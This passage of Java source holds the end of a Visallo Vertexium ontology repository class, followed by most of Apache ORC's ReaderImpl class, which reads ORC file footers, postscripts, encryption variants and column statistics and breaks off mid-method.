(VertexiumRelationship) fromRelationship; VertexiumRelationship inverseOfRelationshipSg = (VertexiumRelationship) inverseOfRelationship; Vertex fromVertex = fromRelationshipSg.getVertex(); checkNotNull(fromVertex, "fromVertex is required"); Vertex inverseVertex = inverseOfRelationshipSg.getVertex(); checkNotNull(inverseVertex, "inverseVertex is required"); findOrAddEdge(fromVertex, inverseVertex, LabelName.INVERSE_OF.toString()); findOrAddEdge(inverseVertex, fromVertex, LabelName.INVERSE_OF.toString()); } @Override public Relationship getOrCreateRelationshipType( Relationship parent, Iterable<Concept> domainConcepts, Iterable<Concept> rangeConcepts, String relationshipIRI ) { return getOrCreateRelationshipType(parent, domainConcepts, rangeConcepts, relationshipIRI, true); } @Override public Relationship getOrCreateRelationshipType( Relationship parent, Iterable<Concept> domainConcepts, Iterable<Concept> rangeConcepts, String relationshipIRI, boolean isDeclaredInOntology ) { Relationship relationship = getRelationshipByIRI(relationshipIRI); if (relationship != null) { if (isDeclaredInOntology) { deleteChangeableProperties(relationship, authorizations); } return relationship; } try (GraphUpdateContext ctx = graphRepository.beginGraphUpdate(Priority.LOW, null, getAuthorizations())) { ctx.setPushOnQueue(false); VertexBuilder builder = graph.prepareVertex(ID_PREFIX_RELATIONSHIP + relationshipIRI, VISIBILITY.getVisibility()); Vertex relationshipVertex = ctx.update(builder, elemCtx -> { VisalloProperties.CONCEPT_TYPE.updateProperty(elemCtx, TYPE_RELATIONSHIP, VISIBILITY.getVisibility()); OntologyProperties.ONTOLOGY_TITLE.updateProperty(elemCtx, relationshipIRI, VISIBILITY.getVisibility()); }).get(); for (Concept domainConcept : domainConcepts) { findOrAddEdge(ctx, ((VertexiumConcept) domainConcept).getVertex(), relationshipVertex, LabelName.HAS_EDGE.toString()); } for (Concept rangeConcept : rangeConcepts) { findOrAddEdge(ctx, relationshipVertex, ((VertexiumConcept) rangeConcept).getVertex(), LabelName.HAS_EDGE.toString()); } if (parent != null) { findOrAddEdge(ctx, relationshipVertex, ((VertexiumRelationship) parent).getVertex(), LabelName.IS_A.toString()); } List<String> inverseOfIRIs = new ArrayList<>(); // no inverse of because this relationship is new List<String> domainConceptIris = Lists.newArrayList(new ConvertingIterable<Concept, String>(domainConcepts) { @Override protected String convert(Concept o) { return o.getIRI(); } }); List<String> rangeConceptIris = Lists.newArrayList(new ConvertingIterable<Concept, String>(rangeConcepts) { @Override protected String convert(Concept o) { return o.getIRI(); } }); Collection<OntologyProperty> properties = new ArrayList<>(); String parentIRI = parent == null ? null : parent.getIRI(); return createRelationship(parentIRI, relationshipVertex, inverseOfIRIs, domainConceptIris, rangeConceptIris, properties); } catch (Exception ex) { throw new VisalloException("Could not create relationship: " + relationshipIRI, ex); } } private Vertex getOrCreatePropertyVertex( final String propertyIri, final PropertyType dataType, Collection<TextIndexHint> textIndexHints, boolean sortable, Double boost, Map<String, String> possibleValues, List<Concept> concepts, List<Relationship> relationships ) { OntologyProperty typeProperty = getPropertyByIRI(propertyIri); Vertex propertyVertex; if (typeProperty == null) { definePropertyOnGraph(graph, propertyIri, dataType, textIndexHints, boost, sortable); String propertyVertexId = ID_PREFIX_PROPERTY + propertyIri; try (GraphUpdateContext ctx = graphRepository.beginGraphUpdate(Priority.LOW, null, getAuthorizations())) { ctx.setPushOnQueue(false); VertexBuilder builder = graph.prepareVertex(propertyVertexId, VISIBILITY.getVisibility()); propertyVertex = ctx.update(builder, elemCtx -> { VisalloProperties.CONCEPT_TYPE.updateProperty(elemCtx, TYPE_PROPERTY, VISIBILITY.getVisibility()); OntologyProperties.ONTOLOGY_TITLE.updateProperty(elemCtx, propertyIri, VISIBILITY.getVisibility()); OntologyProperties.DATA_TYPE.updateProperty(elemCtx, dataType.toString(), VISIBILITY.getVisibility()); if (possibleValues != null) { OntologyProperties.POSSIBLE_VALUES.updateProperty(elemCtx, JSONUtil.toJson(possibleValues), VISIBILITY.getVisibility()); } if (textIndexHints.size() > 0) { Metadata metadata = new Metadata(); textIndexHints.forEach(i -> { String textIndexHint = i.toString(); OntologyProperties.TEXT_INDEX_HINTS.updateProperty(elemCtx, textIndexHint, textIndexHint, metadata, VISIBILITY.getVisibility()); }); } }).get(); for (Concept concept : concepts) { checkNotNull(concept, "concepts cannot have null values"); findOrAddEdge(ctx, ((VertexiumConcept) concept).getVertex(), propertyVertex, LabelName.HAS_PROPERTY.toString()); } for (Relationship relationship : relationships) { checkNotNull(relationships, "relationships cannot have null values"); findOrAddEdge(ctx, ((VertexiumRelationship) relationship).getVertex(), propertyVertex, LabelName.HAS_PROPERTY.toString()); } } catch (Exception e) { throw new VisalloException("Could not getOrCreatePropertyVertex: " + propertyIri, e); } } else { propertyVertex = ((VertexiumOntologyProperty) typeProperty).getVertex(); deleteChangeableProperties(typeProperty, authorizations); } return propertyVertex; } private void saveDependentProperties(String propertyVertexId, Collection<String> dependentPropertyIris) { int i; for (i = 0; i < 1000; i++) { String edgeId = propertyVertexId + "-dependentProperty-" + i; Edge edge = graph.getEdge(edgeId, authorizations); if (edge == null) { break; } graph.deleteEdge(edge, authorizations); } graph.flush(); i = 0; for (String dependentPropertyIri : dependentPropertyIris) { String dependentPropertyVertexId = ID_PREFIX_PROPERTY + dependentPropertyIri; String edgeId = propertyVertexId + "-dependentProperty-" + i; EdgeBuilderByVertexId m = graph.prepareEdge(edgeId, propertyVertexId, dependentPropertyVertexId, OntologyProperties.EDGE_LABEL_DEPENDENT_PROPERTY, VISIBILITY.getVisibility()); OntologyProperties.DEPENDENT_PROPERTY_ORDER_PROPERTY_NAME.setProperty(m, i, VISIBILITY.getVisibility()); m.save(authorizations); i++; } } @Override public void updatePropertyDependentIris(OntologyProperty property, Collection<String> newDependentPropertyIris) { VertexiumOntologyProperty vertexiumProperty = (VertexiumOntologyProperty) property; saveDependentProperties(vertexiumProperty.getVertex().getId(), newDependentPropertyIris); graph.flush(); vertexiumProperty.setDependentProperties(newDependentPropertyIris); } @Override public void updatePropertyDomainIris(OntologyProperty property, Set<String> domainIris) { VertexiumOntologyProperty vertexiumProperty = (VertexiumOntologyProperty) property; Iterable<EdgeVertexPair> existingConcepts = vertexiumProperty.getVertex().getEdgeVertexPairs(Direction.BOTH, LabelName.HAS_PROPERTY.toString(), getAuthorizations()); for (EdgeVertexPair existingConcept : existingConcepts) { String conceptIri = OntologyProperties.ONTOLOGY_TITLE.getPropertyValue(existingConcept.getVertex()); if (!domainIris.remove(conceptIri)) { getGraph().softDeleteEdge(existingConcept.getEdge(), getAuthorizations()); } } for (String domainIri : domainIris) { Vertex domainVertex; Concept concept = getConceptByIRI(domainIri); if (concept != null) { domainVertex = ((VertexiumConcept) concept).getVertex(); } else { Relationship relationship = getRelationshipByIRI(domainIri); if (relationship != null) { domainVertex = ((VertexiumRelationship) relationship).getVertex(); } else { throw new VisalloException("Could not find domain with IRI " + domainIri); } } findOrAddEdge(domainVertex, ((VertexiumOntologyProperty) property).getVertex(), LabelName.HAS_PROPERTY.toString()); } } private Vertex getParentConceptVertex(Vertex conceptVertex) { try { return Iterables.getOnlyElement(conceptVertex.getVertices(Direction.OUT, LabelName.IS_A.toString(), getAuthorizations()), null); } catch (IllegalArgumentException iae) { throw new IllegalStateException(String.format( "Unexpected number of parents for concept %s", OntologyProperties.TITLE.getPropertyValue(conceptVertex) ), iae); } } protected Authorizations getAuthorizations() { return authorizations; } protected Graph getGraph() { return graph; } /** * Overridable so subclasses can supply a custom implementation of OntologyProperty. */ protected OntologyProperty createOntologyProperty( Vertex propertyVertex, ImmutableList<String> dependentPropertyIris, PropertyType propertyType ) { if (propertyType.equals(PropertyType.EXTENDED_DATA_TABLE)) { VertexiumExtendedDataTableOntologyProperty result = new VertexiumExtendedDataTableOntologyProperty(propertyVertex, dependentPropertyIris); Iterable<String> tablePropertyIris = propertyVertex.getVertexIds(Direction.OUT, LabelName.HAS_PROPERTY.toString(), authorizations); for (String tablePropertyIri : tablePropertyIris) { result.addProperty(tablePropertyIri.substring(VertexiumOntologyRepository.ID_PREFIX_PROPERTY.length())); } return result; } else { return new VertexiumOntologyProperty(propertyVertex, dependentPropertyIris); } } /** * Overridable so subclasses can supply a custom implementation of Relationship. */ protected Relationship createRelationship( String parentIRI, Vertex relationshipVertex, List<String> inverseOfIRIs, List<String> domainConceptIris, List<String> rangeConceptIris, Collection<OntologyProperty> properties ) { return new VertexiumRelationship( parentIRI, relationshipVertex, domainConceptIris, rangeConceptIris, inverseOfIRIs, properties ); } /** * Overridable so subclasses can supply a custom implementation of Concept. */ protected Concept createConcept(Vertex vertex, List<OntologyProperty> conceptProperties, String parentConceptIRI) { return new VertexiumConcept(vertex, parentConceptIRI, conceptProperties); } /** * Overridable so subclasses can supply a custom implementation of Concept. */ protected Concept createConcept(Vertex vertex) { return new VertexiumConcept(vertex); } @Override protected void deleteChangeableProperties(OntologyProperty property, Authorizations authorizations) { Vertex vertex = ((VertexiumOntologyProperty)property).getVertex(); deleteChangeableProperties(vertex, authorizations); } @Override protected void deleteChangeableProperties(OntologyElement element, Authorizations authorizations) { Vertex vertex = element instanceof VertexiumConcept ? ((VertexiumConcept) element).getVertex() :((VertexiumRelationship) element).getVertex(); deleteChangeableProperties(vertex, authorizations); } private void deleteChangeableProperties(Vertex vertex, Authorizations authorizations) { for (Property property : vertex.getProperties()) { if (OntologyProperties.CHANGEABLE_PROPERTY_IRI.contains(property.getName())) { vertex.softDeleteProperty(property.getKey(), property.getName(), authorizations); } } graph.flush(); } }
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.orc.impl; import java.io.IOException; import java.nio.ByteBuffer; import java.security.Key; import java.util.ArrayList; import java.util.List; import java.util.function.Supplier; import org.apache.orc.EncryptionAlgorithm; import org.apache.orc.EncryptionKey; import org.apache.orc.CompressionKind; import org.apache.orc.DataMaskDescription; import org.apache.orc.EncryptionVariant; import org.apache.orc.FileMetadata; import org.apache.orc.OrcConf; import org.apache.orc.OrcFile; import org.apache.orc.OrcUtils; import org.apache.orc.Reader; import org.apache.orc.RecordReader; import org.apache.orc.TypeDescription; import org.apache.orc.ColumnStatistics; import org.apache.orc.CompressionCodec; import org.apache.orc.FileFormatException; import org.apache.orc.StripeInformation; import org.apache.orc.StripeStatistics; import org.apache.orc.UnknownFormatException; import org.apache.orc.impl.reader.ReaderEncryption; import org.apache.hadoop.fs.FileStatus; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FSDataInputStream; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; import org.apache.hadoop.hive.ql.util.JavaDataModel; import org.apache.hadoop.io.Text; import org.apache.orc.OrcProto; import com.google.protobuf.CodedInputStream; import org.apache.orc.impl.reader.ReaderEncryptionVariant; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class ReaderImpl implements Reader { private static final Logger LOG = LoggerFactory.getLogger(ReaderImpl.class); private static final int DIRECTORY_SIZE_GUESS = 16 * 1024; private final long maxLength; protected final Path path; protected final OrcFile.ReaderOptions options; private final org.apache.orc.CompressionKind compressionKind; protected FSDataInputStream file; protected int bufferSize; // the unencrypted stripe statistics or null if they haven't been read yet protected List<OrcProto.StripeStatistics> stripeStatistics; private final int metadataSize; private TypeDescription schema; private final List<OrcProto.UserMetadataItem> userMetadata; private final List<OrcProto.ColumnStatistics> fileStats; private final List<StripeInformation> stripes; protected final int rowIndexStride; private final long contentLength, numberOfRows; private final ReaderEncryption encryption; private long deserializedSize = -1; protected final Configuration conf; protected final boolean useUTCTimestamp; private final List<Integer> versionList; private final OrcFile.WriterVersion writerVersion; protected final OrcTail tail; public static class StripeInformationImpl implements StripeInformation { private final long stripeId; private final long originalStripeId; private final byte[][] encryptedKeys; private final OrcProto.StripeInformation stripe; public StripeInformationImpl(OrcProto.StripeInformation stripe, long stripeId, long previousOriginalStripeId, byte[][] previousKeys) { this.stripe = stripe; this.stripeId = stripeId; if (stripe.hasEncryptStripeId()) { originalStripeId = stripe.getEncryptStripeId(); } else { originalStripeId = previousOriginalStripeId + 1; } if (stripe.getEncryptedLocalKeysCount() != 0) { encryptedKeys = new byte[stripe.getEncryptedLocalKeysCount()][]; for(int v=0; v < encryptedKeys.length; ++v) { encryptedKeys[v] = stripe.getEncryptedLocalKeys(v).toByteArray(); } } else { encryptedKeys = previousKeys; } } @Override public long getOffset() { return stripe.getOffset(); } @Override public long getLength() { return stripe.getDataLength() + getIndexLength() + getFooterLength(); } @Override public long getDataLength() { return stripe.getDataLength(); } @Override public long getFooterLength() { return stripe.getFooterLength(); } @Override public long getIndexLength() { return stripe.getIndexLength(); } @Override public long getNumberOfRows() { return stripe.getNumberOfRows(); } @Override public long getStripeId() { return stripeId; } @Override public boolean hasEncryptionStripeId() { return stripe.hasEncryptStripeId(); } @Override public long getEncryptionStripeId() { return originalStripeId; } @Override public byte[][] getEncryptedLocalKeys() { return encryptedKeys; } @Override public String toString() { return "offset: " + getOffset() + " data: " + getDataLength() + " rows: " + getNumberOfRows() + " tail: " + getFooterLength() + " index: " + getIndexLength() + (!hasEncryptionStripeId() || stripeId == originalStripeId - 1 ? "" : " encryption id: " + originalStripeId); } } @Override public long getNumberOfRows() { return numberOfRows; } @Override public List<String> getMetadataKeys() { List<String> result = new ArrayList<>(); for(OrcProto.UserMetadataItem item: userMetadata) { result.add(item.getName()); } return result; } @Override public ByteBuffer getMetadataValue(String key) { for(OrcProto.UserMetadataItem item: userMetadata) { if (item.hasName() && item.getName().equals(key)) { return item.getValue().asReadOnlyByteBuffer(); } } throw new IllegalArgumentException("Can't find user metadata " + key); } @Override public boolean hasMetadataValue(String key) { for(OrcProto.UserMetadataItem item: userMetadata) { if (item.hasName() && item.getName().equals(key)) { return true; } } return false; } @Override public org.apache.orc.CompressionKind getCompressionKind() { return compressionKind; } @Override public int getCompressionSize() { return bufferSize; } @Override public List<StripeInformation> getStripes() { return stripes; } @Override public long getContentLength() { return contentLength; } @Override public List<OrcProto.Type> getTypes() { return OrcUtils.getOrcTypes(schema); } public static OrcFile.Version getFileVersion(List<Integer> versionList) { if (versionList == null || versionList.isEmpty()) { return OrcFile.Version.V_0_11; } for (OrcFile.Version version: OrcFile.Version.values()) { if (version.getMajor() == versionList.get(0) && version.getMinor() == versionList.get(1)) { return version; } } return OrcFile.Version.FUTURE; } @Override public OrcFile.Version getFileVersion() { return getFileVersion(versionList); } @Override public OrcFile.WriterVersion getWriterVersion() { return writerVersion; } @Override public OrcProto.FileTail getFileTail() { return tail.getFileTail(); } @Override public EncryptionKey[] getColumnEncryptionKeys() { return encryption.getKeys(); } @Override public DataMaskDescription[] getDataMasks() { return encryption.getMasks(); } @Override public ReaderEncryptionVariant[] getEncryptionVariants() { return encryption.getVariants(); } @Override public List<StripeStatistics> getVariantStripeStatistics(EncryptionVariant variant) throws IOException { if (variant == null) { if (stripeStatistics == null) { try (CompressionCodec codec = OrcCodecPool.getCodec(compressionKind)) { InStream.StreamOptions options = new InStream.StreamOptions(); if (codec != null) { options.withCodec(codec).withBufferSize(bufferSize); } // deserialize the unencrypted stripe statistics stripeStatistics = deserializeStripeStats(tail.getTailBuffer(), tail.getMetadataOffset(), tail.getMetadataSize(), options); } } return convertFromProto(stripeStatistics); } else { try (CompressionCodec codec = OrcCodecPool.getCodec(compressionKind)) { InStream.StreamOptions compression = new InStream.StreamOptions(); if (codec != null) { compression.withCodec(codec).withBufferSize(bufferSize); } return ((ReaderEncryptionVariant) variant).getStripeStatistics(null, compression, this); } } } /** * Internal access to our view of the encryption. * @return the encryption information for this reader. */ public ReaderEncryption getEncryption() { return encryption; } @Override public int getRowIndexStride() { return rowIndexStride; } @Override public ColumnStatistics[] getStatistics() { ColumnStatistics[] result = deserializeStats(schema, fileStats); if (encryption.getKeys().length > 0) { try (CompressionCodec codec = OrcCodecPool.getCodec(compressionKind)) { InStream.StreamOptions compression = InStream.options(); if (codec != null) { compression.withCodec(codec).withBufferSize(bufferSize); } for (int c = schema.getId(); c <= schema.getMaximumId(); ++c) { ReaderEncryptionVariant variant = encryption.getVariant(c); if (variant != null) { try { int base = variant.getRoot().getId(); ColumnStatistics[] overrides = decryptFileStats(variant, compression, tail.getFooter()); for(int sub=0; sub < overrides.length; ++sub) { result[base + sub] = overrides[sub]; } } catch (IOException e) { throw new RuntimeException("Can't decrypt file stats for " + path + " with " + variant.getKeyDescription()); } } } } } return result; } private ColumnStatistics[] decryptFileStats(ReaderEncryptionVariant encryption, InStream.StreamOptions compression, OrcProto.Footer footer ) throws IOException { Key key = encryption.getFileFooterKey(); if (key == null) { return null; } else { OrcProto.EncryptionVariant protoVariant = footer.getEncryption().getVariants(encryption.getVariantId()); byte[] bytes = protoVariant.getFileStatistics().toByteArray(); BufferChunk buffer = new BufferChunk(ByteBuffer.wrap(bytes), 0); EncryptionAlgorithm algorithm = encryption.getKeyDescription().getAlgorithm(); byte[] iv = new byte[algorithm.getIvLength()]; CryptoUtils.modifyIvForStream(encryption.getRoot().getId(), OrcProto.Stream.Kind.FILE_STATISTICS, footer.getStripesCount() + 1) .accept(iv); InStream.StreamOptions options = new InStream.StreamOptions(compression) .withEncryption(algorithm, key, iv); InStream in = InStream.create("encrypted file stats", buffer, 0, bytes.length, options); OrcProto.FileStatistics decrypted = OrcProto.FileStatistics.parseFrom(in); ColumnStatistics[] result = new ColumnStatistics[decrypted.getColumnCount()]; TypeDescription root = encryption.getRoot(); for(int i= 0; i < result.length; ++i){ result[i] = ColumnStatisticsImpl.deserialize(root.findSubtype(root.getId() + i), decrypted.getColumn(i), writerUsedProlepticGregorian(), getConvertToProlepticGregorian()); } return result; } } public ColumnStatistics[] deserializeStats( TypeDescription schema, List<OrcProto.ColumnStatistics> fileStats) { ColumnStatistics[] result = new ColumnStatistics[fileStats.size()]; for(int i=0; i < result.length; ++i) { TypeDescription subschema = schema == null ? null : schema.findSubtype(i); result[i] = ColumnStatisticsImpl.deserialize(subschema, fileStats.get(i), writerUsedProlepticGregorian(), getConvertToProlepticGregorian()); } return result; } @Override public TypeDescription getSchema() { return schema; } /** * Ensure this is an ORC file to prevent users from trying to read text * files or RC files as ORC files. * @param in the file being read * @param path the filename for error messages * @param psLen the postscript length * @param buffer the tail of the file */ protected static void ensureOrcFooter(FSDataInputStream in, Path path, int psLen, ByteBuffer buffer) throws IOException { int magicLength = OrcFile.MAGIC.length(); int fullLength = magicLength + 1; if (psLen < fullLength || buffer.remaining() < fullLength) { throw new FileFormatException("Malformed ORC file " + path + ". Invalid postscript length " + psLen); } int offset = buffer.arrayOffset() + buffer.position() + buffer.limit() - fullLength; byte[] array = buffer.array(); // now look for the magic string at the end of the postscript. if (!Text.decode(array, offset, magicLength).equals(OrcFile.MAGIC)) { // If it isn't there, this may be the 0.11.0 version of ORC. // Read the first 3 bytes of the file to check for the header byte[] header = new byte[magicLength]; in.readFully(0, header, 0, magicLength); // if it isn't there, this isn't an ORC file if (!Text.decode(header, 0 , magicLength).equals(OrcFile.MAGIC)) { throw new FileFormatException("Malformed ORC file " + path + ". Invalid postscript."); } } } /** * Build a version string out of an array. * @param version the version number as a list * @return the human readable form of the version string */ private static String versionString(List<Integer> version) { StringBuilder buffer = new StringBuilder(); for(int i=0; i < version.size(); ++i) { if (i != 0) { buffer.append('.'); } buffer.append(version.get(i)); } return buffer.toString(); } /** * Check to see if this ORC file is from a future version and if so, * warn the user that we may not be able to read all of the column encodings. * @param path the data source path for error messages * @param postscript the parsed postscript */ protected static void checkOrcVersion(Path path, OrcProto.PostScript postscript ) throws IOException { List<Integer> version = postscript.getVersionList(); if (getFileVersion(version) == OrcFile.Version.FUTURE) { throw new UnknownFormatException(path, versionString(version), postscript); } } /** * Constructor that let's the user specify additional options. * @param path pathname for file * @param options options for reading */ public ReaderImpl(Path path, OrcFile.ReaderOptions options) throws IOException { this.path = path; this.options = options; this.conf = options.getConfiguration(); this.maxLength = options.getMaxLength(); this.useUTCTimestamp = options.getUseUTCTimestamp(); FileMetadata fileMetadata = options.getFileMetadata(); if (fileMetadata != null) { this.compressionKind = fileMetadata.getCompressionKind(); this.bufferSize = fileMetadata.getCompressionBufferSize(); this.metadataSize = fileMetadata.getMetadataSize(); this.stripeStatistics = fileMetadata.getStripeStats(); this.versionList = fileMetadata.getVersionList(); OrcFile.WriterImplementation writer = OrcFile.WriterImplementation.from(fileMetadata.getWriterImplementation()); this.writerVersion = OrcFile.WriterVersion.from(writer, fileMetadata.getWriterVersionNum()); List<OrcProto.Type> types = fileMetadata.getTypes(); OrcUtils.isValidTypeTree(types, 0); this.schema = OrcUtils.convertTypeFromProtobuf(types, 0); this.rowIndexStride = fileMetadata.getRowIndexStride(); this.contentLength = fileMetadata.getContentLength(); this.numberOfRows = fileMetadata.getNumberOfRows(); this.fileStats = fileMetadata.getFileStats(); this.stripes = fileMetadata.getStripes(); this.tail = null; this.userMetadata = null; // not cached and not needed here // FileMetadata is obsolete and doesn't support encryption this.encryption = new ReaderEncryption(); } else { OrcTail orcTail = options.getOrcTail(); if (orcTail == null) { tail = extractFileTail(getFileSystem(), path, options.getMaxLength()); options.orcTail(tail); } else { checkOrcVersion(path, orcTail.getPostScript()); tail = orcTail; } this.compressionKind = tail.getCompressionKind(); this.bufferSize = tail.getCompressionBufferSize(); this.metadataSize = tail.getMetadataSize(); this.versionList = tail.getPostScript().getVersionList(); this.schema = tail.getSchema(); this.rowIndexStride = tail.getFooter().getRowIndexStride(); this.contentLength = tail.getFooter().getContentLength(); this.numberOfRows = tail.getFooter().getNumberOfRows(); this.userMetadata = tail.getFooter().getMetadataList(); this.fileStats = tail.getFooter().getStatisticsList(); this.writerVersion = tail.getWriterVersion(); this.stripes = tail.getStripes(); this.stripeStatistics = null; this.encryption = new ReaderEncryption(tail.getFooter(), schema, tail.getStripeStatisticsOffset(), tail.getTailBuffer(), stripes, options.getKeyProvider(), conf); } } protected FileSystem getFileSystem() throws IOException { FileSystem fileSystem = options.getFilesystem(); if (fileSystem == null) { fileSystem = path.getFileSystem(options.getConfiguration()); options.filesystem(fileSystem); } return fileSystem; } protected Supplier<FileSystem> getFileSystemSupplier() { return () -> { try { return getFileSystem(); } catch (IOException e) { throw new RuntimeException("Can't create filesystem", e); } }; } /** * Get the WriterVersion based on the ORC file postscript. * @param writerVersion the integer writer version * @return the version of the software that produced the file */ public static OrcFile.WriterVersion getWriterVersion(int writerVersion) { for(OrcFile.WriterVersion version: OrcFile.WriterVersion.values()) { if (version.getId() == writerVersion) { return version; } } return OrcFile.WriterVersion.FUTURE; } public static OrcProto.Metadata extractMetadata(ByteBuffer bb, int metadataAbsPos, int metadataSize, InStream.StreamOptions options) throws IOException { bb.position(metadataAbsPos); bb.limit(metadataAbsPos + metadataSize); return OrcProto.Metadata.parseFrom(InStream.createCodedInputStream( InStream.create("metadata", new BufferChunk(bb, 0), 0, metadataSize, options))); } private static OrcProto.PostScript extractPostScript(BufferChunk buffer, Path path, int psLen, long psOffset ) throws IOException { CodedInputStream in = InStream.createCodedInputStream( InStream.create("ps", buffer, psOffset, psLen)); OrcProto.PostScript ps = OrcProto.PostScript.parseFrom(in); checkOrcVersion(path, ps); // Check compression codec. switch (ps.getCompression()) { case NONE: case ZLIB: case SNAPPY: case LZO: case LZ4: case ZSTD: break; default: throw new IllegalArgumentException("Unknown compression"); } return ps; } /** * Build a virtual OrcTail for empty files. * @return a new OrcTail */ OrcTail buildEmptyTail() throws IOException { OrcProto.PostScript.Builder postscript = OrcProto.PostScript.newBuilder(); OrcFile.Version version = OrcFile.Version.CURRENT; postscript.setMagic(OrcFile.MAGIC) .setCompression(OrcProto.CompressionKind.NONE) .setFooterLength(0) .addVersion(version.getMajor()) .addVersion(version.getMinor()) .setMetadataLength(0) .setWriterVersion(OrcFile.CURRENT_WRITER.getId()); // Use a struct with no fields OrcProto.Type.Builder struct = OrcProto.Type.newBuilder(); struct.setKind(OrcProto.Type.Kind.STRUCT); OrcProto.Footer.Builder footer = OrcProto.Footer.newBuilder(); footer.setHeaderLength(0) .setContentLength(0) .addTypes(struct) .setNumberOfRows(0) .setRowIndexStride(0); OrcProto.FileTail.Builder result = OrcProto.FileTail.newBuilder(); result.setFooter(footer); result.setPostscript(postscript); result.setFileLength(0); result.setPostscriptLength(0); return new OrcTail(result.build(), new BufferChunk(0, 0), -1); } private static void read(FSDataInputStream file, BufferChunk chunks) throws IOException { while (chunks != null) { if (!chunks.hasData()) { int len = chunks.getLength(); ByteBuffer bb = ByteBuffer.allocate(len); file.readFully(chunks.getOffset(), bb.array(), bb.arrayOffset(), len); chunks.setChunk(bb); } chunks = (BufferChunk) chunks.next; } } protected OrcTail extractFileTail(FileSystem fs, Path path, long maxFileLength) throws IOException { BufferChunk buffer; OrcProto.PostScript ps; OrcProto.FileTail.Builder fileTailBuilder = OrcProto.FileTail.newBuilder(); long modificationTime; file = fs.open(path); try { // figure out the size of the file using the option or filesystem long size; if (maxFileLength == Long.MAX_VALUE) { FileStatus fileStatus = fs.getFileStatus(path); size = fileStatus.getLen(); modificationTime = fileStatus.getModificationTime(); } else { size = maxFileLength; modificationTime = -1; } if (size == 0) { // Hive often creates empty files (including ORC) and has an // optimization to create a 0 byte file as an empty ORC file. return buildEmptyTail(); } else if (size <= OrcFile.MAGIC.length()) { // Anything smaller than MAGIC header cannot be valid (valid ORC files // are actually around 40 bytes, this is more conservative) throw new FileFormatException("Not a valid ORC file " + path + " (maxFileLength= " + maxFileLength + ")"); } fileTailBuilder.setFileLength(size); //read last bytes into buffer to get PostScript int readSize = (int) Math.min(size, DIRECTORY_SIZE_GUESS); buffer = new BufferChunk(size - readSize, readSize); read(file, buffer); //read the PostScript //get length of PostScript ByteBuffer bb = buffer.getData(); int psLen = bb.get(readSize - 1) & 0xff; ensureOrcFooter(file, path, psLen, bb); long psOffset = size - 1 - psLen; ps = extractPostScript(buffer, path, psLen, psOffset); CompressionKind compressionKind = CompressionKind.valueOf(ps.getCompression().name()); fileTailBuilder.setPostscriptLength(psLen).setPostscript(ps); int footerSize = (int) ps.getFooterLength(); int metadataSize = (int) ps.getMetadataLength(); int stripeStatSize = (int) ps.getStripeStatisticsLength(); //check if extra bytes need to be read int tailSize = 1 + psLen + footerSize + metadataSize + stripeStatSize; int extra = Math.max(0, tailSize - readSize); if (extra > 0) { //more bytes need to be read, seek back to the right place and read extra bytes BufferChunk orig = buffer; buffer = new BufferChunk(size - tailSize, extra); buffer.next = orig; orig.prev = buffer; read(file, buffer); } InStream.StreamOptions compression = new InStream.StreamOptions(); try (CompressionCodec codec = OrcCodecPool.getCodec(compressionKind)) { if (codec != null) { compression.withCodec(codec) .withBufferSize((int) ps.getCompressionBlockSize()); } OrcProto.Footer footer = OrcProto.Footer.parseFrom( InStream.createCodedInputStream( InStream.create("footer", buffer, psOffset - footerSize, footerSize, compression))); fileTailBuilder.setFooter(footer); } } catch (Throwable thr) { try { close(); } catch (IOException except) { LOG.info("Ignoring secondary exception in close of " + path, except); } throw thr instanceof IOException ? (IOException) thr : new IOException("Problem reading file footer " + path, thr); } return new OrcTail(fileTailBuilder.build(), buffer, modificationTime); } @Override public ByteBuffer getSerializedFileFooter() { return tail.getSerializedTail(); } @Override public boolean writerUsedProlepticGregorian() { OrcProto.Footer footer = tail.getFooter(); return footer.hasCalendar() ? footer.getCalendar() == OrcProto.CalendarKind.PROLEPTIC_GREGORIAN : OrcConf.PROLEPTIC_GREGORIAN_DEFAULT.getBoolean(conf); } @Override public boolean getConvertToProlepticGregorian() { return options.getConvertToProlepticGregorian(); } @Override public Options options() { return new Options(conf); } @Override public RecordReader rows() throws IOException { return rows(options()); } @Override public RecordReader rows(Options options) throws IOException { LOG.info("Reading ORC rows from " + path + " with " + options); return new RecordReaderImpl(this, options); } @Override public long getRawDataSize() { // if the deserializedSize is not computed, then compute it, else // return the already computed size. since we are reading from the footer // we don't have to compute deserialized size repeatedly if (deserializedSize == -1) { List<Integer> indices = new ArrayList<>(); for (int i = 0; i < fileStats.size(); ++i) { indices.add(i); } deserializedSize = getRawDataSizeFromColIndices(indices); } return deserializedSize; } @Override public long getRawDataSizeFromColIndices(List<Integer> colIndices) { boolean[] include = new boolean[schema.getMaximumId() + 1]; for(Integer rootId: colIndices) { TypeDescription root = schema.findSubtype(rootId); for(int c = root.getId(); c <= root.getMaximumId(); ++c) { include[c] = true; } } return getRawDataSizeFromColIndices(include, schema, fileStats); } static long getRawDataSizeFromColIndices(boolean[] include, TypeDescription schema, List<OrcProto.ColumnStatistics> stats) { long result = 0; for (int c = schema.getId(); c <= schema.getMaximumId(); ++c) { if (include[c]) { result += getRawDataSizeOfColumn(schema.findSubtype(c), stats); } } return result; } private static long getRawDataSizeOfColumn(TypeDescription column, List<OrcProto.ColumnStatistics> stats) { OrcProto.ColumnStatistics colStat = stats.get(column.getId()); long numVals = colStat.getNumberOfValues(); switch (column.getCategory()) { case BINARY: // old orc format doesn't support binary statistics. checking for binary // statistics is not required as protocol buffers takes care of it. return colStat.getBinaryStatistics().getSum(); case STRING: case CHAR: case VARCHAR: // old orc format doesn't support sum for string statistics. checking for // existence is not required as protocol buffers takes care of it. // ORC strings are deserialized to java strings. so use java data model's // string size numVals = numVals == 0 ? 1 : numVals; int avgStrLen = (int) (colStat.getStringStatistics().getSum() / numVals); return numVals * JavaDataModel.get().lengthForStringOfLength(avgStrLen); case TIMESTAMP: case 